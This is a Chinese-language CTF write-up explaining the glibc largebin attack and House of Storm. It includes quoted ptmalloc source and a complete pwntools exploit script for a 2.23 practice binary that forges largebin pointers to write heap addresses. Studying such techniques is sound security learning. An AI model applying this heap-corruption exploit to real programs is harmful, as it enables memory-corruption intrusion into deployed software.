largebin attack和house of storm如何结合形成一种高级攻击手段?

摘要:各版本glibc的保护手段(从2.23开始只关注重要变化) 这里先简单说一下各个glibc版本的变化,如果没说到的各位师傅可以补充 首先是2.24开了虚表保护,house of orange需要变化才能利用了 然后是2.26有tcache机
各版本glibc的保护手段(从2.23开始只关注重要变化) 这里先简单说一下各个glibc版本的变化,如果没说到的各位师傅可以补充 首先是2.24开了虚表保护,house of orange需要变化才能利用了 然后是2.26有tcache机制 2.27把abort函数中的fflush函数删了,完整的house of orange就此落幕 2.28在tcache里加了key字段防止tcache double free 2.29在unsortedbin里加了检测,unsortedbin落幕 2.30在largebin里加了检测,largebin attack只能写一个地址了 2.32加了safe linking机制,修改fd和bk指针需要有堆地址了 2.35则把hook函数移除了,之后堆的主要攻击就转向IO方向了。 Largebin attack 2.31前的攻击 顾名思义就是利用largebin来进行攻击,这里我贴一下源码(2.31之前),以下注释来自浅析Large_bins_attack在高低版本的利用 while((unsigned long)size < fwd->size){ fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } //这里检测的是从unsorted_bins里提取出的堆块是否小于large_bins里最近被释放的堆块的大小,如果小于,就将fwd向前移,也就是与比它更小的堆块对比 if ((unsigned long) size == (unsigned long) fwd->size) /* Always insert in the second position. */ fwd = fwd->fd;//相等的话,就往后排列 else { victim->fd_nextsize = fwd; //这里,victim是从unsorted_bin提取出来的堆块,fwd是最近被释放进large_bin的堆块,分别对应我们的p3,p2 victim->bk_nextsize = fwd->bk_nextsize; //在此前,p2->bk_nextsize已经被我们设置为了stack_var2-0x20的地址,所以p3的bk_nextsize指向它 fwd->bk_nextsize = victim; //p2->bk_nextsize指向p3 victim->bk_nextsize->fd_nextsize = victim; //p3->bk_nextsize = stack_var2 - 0x20,也就是说我们已经伪造了一个堆块,(stack_var2-0x20)->fd_nexitsize就是stack_var2的地址,将该地址赋值p3的头指针 } bck = fwd->bk; //p2的bk我们设置成了stack_var1-0x10,所以bck成了我们stack_var1-0x10这个虚假的chunk 这个主要是什么意思呢,就是当unsortedbin的堆块要进入largebin中时,先检测其大小,我们利用的话一般要让进入largebin的堆块大于原有largebin中的堆块,这样就可以进下面这个else分支。因为我们攻击主要是利用这个else分支,我们单独取出来看看(也可以配合注释来看) [...] else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;#第一个任意写的地方 } bck = fwd->bk; [...] mark_bin (av, victim_index); victim->bk = bck;#第二个任意写的地方 victim->fd = fwd; fwd->bk = victim; bck->fd = victim; For more details on how large-bins are handled and sorted by ptmalloc, please check the Background section in the aforementioned link. 其实很简单,就是取值,把原堆块结构体里的指针指向新来的堆块,那我们是如何去进行攻击的呢?通过各种手段(uaf,堆溢出)修改已经在largebin的指针,伪造出堆块,修改已经在largebin的堆块的bk,bk_nextsize,把bk修改成目标地址-0x10,把bk_nextsize修改成目标地址-0x20(为什么修改这两个?因为largebin是头插法,所以我们下一个堆块进来时bk指针会改变,因为largebin是从大到小排列,我们进来的堆块比原来的大,所以bk_nextsize的值会变化)修改后就相当于又伪造出了两个堆块(因为没有对此进行检测,所以系统就以为这里有两个堆块,也就有了我们后面的攻击大概就是如图所示),改前: 改后: 这时候我们又有一个堆块想进入largebin,那么因为是头差法,就要找出来这个链表的头,也就是一个个bk遍历过去,在这里也就是这个堆块1(正中间的堆)的bk指针指向的堆块是头,这个堆块的bk指针就要指向新来堆块的堆地址,也就是把bk指针(目标地址-0x10)看成一个堆块的起始地址,我们要取他的bk指针就会对这个地址+0x10,然后就会把其中的值赋上新来堆块的地址;bk_nextsize同理,因为堆是从大到小排列,就要把整个链表的头找出来,也就是对bk_nextsize进行遍历,这个堆块1的bk_nextsize上面就是我们伪造的堆,他的bk_nextsize肯定是没有指向有效的值的,所以就会把堆块1的bk_nextsize指向的假堆看成是链表头,这时候就要取他的bk_nextsize(也就是为什么我们要把bk_nextsize写成目标地址-0x20)因为取头就要+0x20,最终效果如图。 看起来皆大欢喜,这个新来的堆成功进入了largebin的大家族,但其实其中两个家庭成员都是假的,我们的攻击也就此完成了。我们也在实际例子中试试看。来看例题 Polarctf-unk 这个题解法是unlink,不过我们目前不是演示这题怎么解的,只是演示一下unlink,这题有uaf漏洞,还有堆溢出漏洞,got表可写而且还没开pie,还是2.23版本的题,只能说是完美的沙包了。而且函数名也没剔除,感兴趣的话可以去这里下载PolarD&N 演示的脚本如下 #!/usr/bin/env python3 from pwn import * import sys from ctypes import * #from pwncli import * # cli_script() #from ae64 import AE64 #from pymao import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') #libc = ELF('./libc.so.6') # libc1=cdll.LoadLibrary('./libc.so.6') li='./libc.so.6' flag = 0 if flag: p = remote('1') else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s).encode()) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() def add(s,a): ru(b"choice:") sdr(1) ru(b"index:") sdr(s) ru(b"size:") sdr(a) def free(s): ru(b"choice:") sdr(2) ru(b"index:") sdr(s) def edit(s,a,d): ru(b"choice:") sdr(3) ru(b"index:") sdr(s) ru(b"length:") sdr(a) ru(b"content:") sd(d) def show(s): ru(b"choice:") sdr(4) ru(b"index:") sdr(s) tar=0x6010C0+0x50 add(0,0x300)#让其他堆能顺利进入largebin的堆 add(5,0x20)#防合并的堆 add(1,0x410)#先进largebin的堆 add(6,0x20)#防合并的堆 add(2,0x420)#后进largebin的堆 add(3,0x20)#防合并的堆 free(0) free(1) add(4,0x30)#让堆块1先进largebin free(2)#让堆块2进入unsortedbin pay=0x20*b'b'+flat(0,0x401,0,tar+8-0x10,0,tar-0x20) edit(5,0x70,pay)#修改堆块1的内容(bk,bk_nextsize) add(5,0x30)#让堆块2进入largebin,达成攻击 dbg() ti() 为什么要堆块0呢?因为unsortedbin的堆块需要在再次申请堆块,遍历后大小合适才会把其中的堆块放入largebin,所以我们就一直申请0x30大小的堆,让堆块0一直被切割,同时触发遍历,把堆块放进largebin。攻击前 攻击后 可以肯定我们成功在堆块链表0x6010C0+0x50的地方写了两个堆块地址,这个堆块地址就是刚进入largebin的堆块地址。 2.31后因为加了检测,所以只能通过bk_nextsize写一个堆块了 else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) //以上面的p2为例的话,那就是检测stack_var2-0x20的fd_nextsize是否指向p2。是的话就报错 malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd)// 同理,如果stack_var1-0x10的fd是否指向p2,是就报错 malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); House of storm 这个感觉名字很贴切,确实是storm,非常快速啊,通过一次申请改三个地址,并且直接申请到目标地址。主要利用手法就是先准备好一个unsortedbin中的堆块,再准备一个largebin中的堆块,修改largeQbin的bk,bk_nextsize分别是目标地址+8,目标地址-0x18-5,然后准备一个堆块大小小于largebin中的堆块,但能被放进largebin中的堆块。最后申请指定大小的堆就可以完成攻击了。因为在申请堆的时候在没有tcache时,先遍历unsortedbin,如果没有相同大小的堆就会把unsortedbin的堆放入对应的bin中,这时就会触发unsortedbinattack和largebinattack,这时我们就已经伪造出一个堆了(unsortedbin改的是bk指针,也就是下一个堆块的地址,当我们攻击完成后,这个堆块就符合要求可以申请了),具体的话就是用largebinattack伪造size位与bk指针,unsortedbin伪造fd指针,从而通过检测。具体我没有找到对应的题就不演示了,只能演示一下攻击效果,我这个没有开pie所以堆地址很小写不到size位